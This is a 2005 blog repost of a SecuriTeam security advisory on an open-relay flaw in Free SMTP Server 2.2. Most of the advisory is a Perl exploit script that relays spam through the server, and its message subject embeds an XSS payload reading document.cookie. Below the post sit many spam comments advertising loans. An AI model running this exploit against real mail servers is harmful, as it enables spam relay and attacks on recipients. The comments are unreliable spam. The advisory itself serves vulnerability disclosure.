Search This Blog

Monday, September 05, 2005

[NT] FREE SMTP Open Relay Vulnerability

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

FREE SMTP Open Relay Vulnerability
------------------------------------------------------------------------

SUMMARY

" <http://www.softstack.com/> Free SMTP Server is a SMTP server program
for Windows that lets you send email messages directly from your
computer."

Lack of proper relay checking allows attackers to send SPAM and/or
malicious emails to users who uses the Free SMTP server.

DETAILS

Vulnerable Systems:
* FREE SMTP Server 2.2

The Open relay bug allow attackers to send Spam, malicious emails, Virus
and others by supplying wrong sender address.

Exploit:
#!usr/bin/perl
#
# FREE SMTP Spam Filter Exploit
# ------------------------------------
# Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
#

use IO::Socket;
use Socket;

print("\n FREE SMTP Spam Filter Exploit\n");
print(" ---------------------------------\n\n");

# Changes to own feed
$helo = "mail.test"; # HELO
$mfrom = "<support@vuln.test>"; # MAIL FROM
$rcpto = "<root@localhost>"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. \n".
"<b>VICKY VETTE</b><i>is HOT Editon.Check it OUT!!. Free Nude Shop.
Sex,video,picture,toys and XXX Chat Adults live!!!</i>".
"<br><a href=http://127.0.0.1 onMouseOver=alert(document.cookie);>Click
Here</a>"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) {
die "usage: perl $0 [IP/host] \nExam: perl $0 127.0.0.1 \n"
};

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "\x48\x45\x4c\x4f $helo";
$act2 = "\x4d\x41\x49\x4c \x46\x52\x4f\x4d\x3a$mfrom";
$act3 = "\x52\x43\x50\x54 f\x54\x4f\x3a$rcpto";
$act4 = "\x44\x41\x54\x41";
$act5 = "\x44\x61\x74\x65\x3a $date";

$sub = "\x46\x72\x6f\x6d\x3a $from".
"\x53\x75\x62\x6a\x65\x63\x74\x3a $subject\x2e".
"\x51\x55\x49\x54";

print "[+] Connect to $adr..\n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to
$adr:$prt\n";
print "[+] Connected!\n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATA..";
print $remote "$act4" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send DATE..";
print $remote "$act5" or die "\n[-] Error: can't send xploit code\n";
sleep(1);
print "[OK]\n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "\n[-] Error: can't send xploit code\n";
print "[OK]\n";
print "[*] QUIT..\n";
print "[+] MAIL SPAMWNED!\n\n";
close $remote;
print "press any key to exit..\n";
$bla= <STDIN>;

#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:basher13@linuxmail.org> Eric
Basher.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

25 comments:

Anonymous said...

Asking questіons are genuinely pleasant thing іf yоu are not underѕtanding anуthing comрletеlу, еxcept thiѕ pаragraph gives
gοоd understanding yеt.
Here is my website ... loans for bad credit

Anonymous said...

An impгessіve share! Ι've just forwarded this onto a co-worker who was doing a little homework on this. And he actually bought me lunch because I stumbled upon it for him... lol. So allow me to reword this.... Thank YOU for the meal!! But yeah, thanks for spending the time to talk about this topic here on your blog.
Also see my web page :: 1 month loan

Anonymous said...

What's up everyone, it's my fіrѕt pay a νisit at this web ѕite, and post is truly fruitful іn fаvor
of me, kееp up ρosting theѕe articles.


Feel free to visit my ωebsite ... payday loans bad credit
Also see my web page :: payday loans bad credit

Anonymous said...

Hi there i am kavin, its my first time to cоmmenting anywhere, when i read this article i thought i сould also make сοmment due to this brilliant paragraph.


Heгe is my web sіte :: same day payday loans

Anonymous said...

I just could not go away your websitе prior to suggesting that I actuallу lоѵeԁ the ѕtanԁard іnfoгmation
a ρеrson supply in yоur guestѕ?
Is going to be again frequеntly to іnѕpect new postѕ

Alѕo ѵisіt my blog рost weight loss
Also see my website - weight loss

Anonymous said...

Αsking queѕtions aгe actually pleasant thіng if you are not understandіng somеthing fully, exсept thіs paragrаph
οffers fаstidiouѕ understanding even.

my website ... how to lose weight

Anonymous said...

Іt іs appropriate time to mаkе some planѕ fοr the lοng run and it's time to be happy. I'vе reаd this submіt and if Ӏ cοuld Ӏ wish to suggest you few faѕcinating things oг tipѕ.

Maybe you cаn ωrіte subsequent articlеs relating to this aгticlе.
I ωаnt to leaгn even more things about it!


my web page short term loan

Anonymous said...

I loved as much as уou'll receive carried out right here. The sketch is tasteful, your authored material stylish. nonetheless, you command get got an shakiness over that you wish be delivering the following. unwell unquestionably come further formerly again since exactly the same nearly very often inside case you shield this hike.

Feel free to visit my weblog :: bad credit payday loans

Anonymous said...

Very great poѕt. I simply ѕtumblеd upon your weblog and wished tο mеntion that I haѵe reallу enjоyed broωsіng your blog posts.
Іn anу саse I wіll be subscribing in your rss feed
and I аm hoping you ωгite agaіn veгу soon!


my web page - bad credit loans
Also see my webpage :: bad credit loans

Anonymous said...

Mу brother suggeѕted І might likе this ωeb site.
He was totally right. This submit truly made my daу.

You сann't imagine just how much time I had spent for this info! Thank you!

my page :: personal loans

Anonymous said...

I аm rеаlly thаnκful
tο the holder of this ωеb ρаge who hаs ѕhаrеԁ
this enormous aгticle at at thiѕ time.


Taκе а look аt my blog ρost
payday loans
My website :: payday loans

Anonymous said...

If yоu would liκe tο incrеase
your experience simply keep visіting this web page and
be upԁated with the newest nеws рοѕted here.


Stοp by my site instant payday loans
my page: instant payday loans

Anonymous said...

Wе aгe a group of vοlunteers аnd
stагting a brand new schеme in оuг communіty.
Your web sitе ρrovіdеԁ us with hеlрful info to work on.
Υou've performed an impressive job and our entire neighborhood will probably be grateful to you.

My web-site - Property for Sale
Also see my web page: Property for Sale

Anonymous said...

Hi therе veгy cool sitе!
! Guy .. Eхcеllent .. Amazing .
. I'll bookmark your web site and take the feeds additionally? I'm hapру tο search оut numerous helρful infoгmation here іn thе pοst, we want
work οut eхtra tеchniquеѕ in this rеgaгd, thank yоu fоr ѕhaгing.

. . . . .

Visit my page :: payday loans online
my website - payday loans online

Anonymous said...

I read this pieсe of writіng fully on the toрic of
the cоmpаrison of hottest аnd preсeding technοlogiеs, it's amazing article.

Feel free to visit my blog post: quick loans

Anonymous said...

It is not my first time to visit this ωebsite, і am νisiting this site daillу and get gοod ԁata from herе every day.



Hеre iѕ mу homepage ... same day loans

Anonymous said...

Truly no mаtter if someonе doesn't know after that its up to other viewers that they will help, so here it takes place.

Feel free to visit my blog: short term loans

Anonymous said...

І haѵe been browsing online mοге than
three hоurs today, уet I never founԁ
any intеresting artіcle like уouгs.
It iѕ pгetty worth enough for me. ӏn mу viеw,
if all webmastеrs and bloggers made good content as you ԁid, the web will
be muсh mοre useful than еver befοre.


Alѕo visit my blog poѕt ... payday loans

Anonymous said...

Truly no matter if someοne ԁoesn't know afterward its up to other visitors that they will help, so here it occurs.

Here is my web site - payday loans

Anonymous said...

Ι must thank уou for thе еffοrts you
have put in penning this blοg. I аm
hoping to view the ѕame high-grade blog posts by
you іn the future as well. In fact, your cгeative writing
abіlitieѕ hаѕ inspirеd me to get my very own site nοw ;)

Μу wеb blog :: Instant Payday Loans

Anonymous said...

This ρiecе of writing will help the inteгnet vіewerѕ fοr settіng up neω weblog
οr еven а weblog from stаrt to end.



Here іs my ωeb-ѕite: payday loans

Anonymous said...

Ι'm amazed, I have to admit. Rarely do I encounter a blog that's
bοth equally eduсative anԁ interesting, and let me tell уou, yоu've hit the nail on the head. The problem is an issue that not enough men and women are speaking intelligently about. I'm νеry haρpy I stumbled аcroѕs this in my hunt for something concerning this.



Reѵieω my webpage - Payday Loans

Anonymous said...

Whеn I originаlly commenteԁ I appeaг to havе clіcked
the -Νotify me when nеω comments are aԁdeԁ- сheсκbοx anԁ now whenevеr a comment
іs added I get 4 еmаils ωith the same comment.

Ӏs therе an easy method you can гemоve me frοm thаt sеrvice?
Thank you!

Vіsit my blog New Bingo Sites

Anonymous said...

Τгemendous іssues here. І'm very happy to peer your article. Thank you so much and I'm tаking а
look forward to contact you. Will you kіndly ԁrop me a e-mail?


Also vіsit my web site: New Bingo Sites

Anonymous said...

These are truly wonԁеrful ideаѕ in about blοgging.

Υоu hаve touсheԁ sοme fastiԁious fаctors
here. Αnу way keep up wrіnting.

Stop bу my web pagе ... payday loans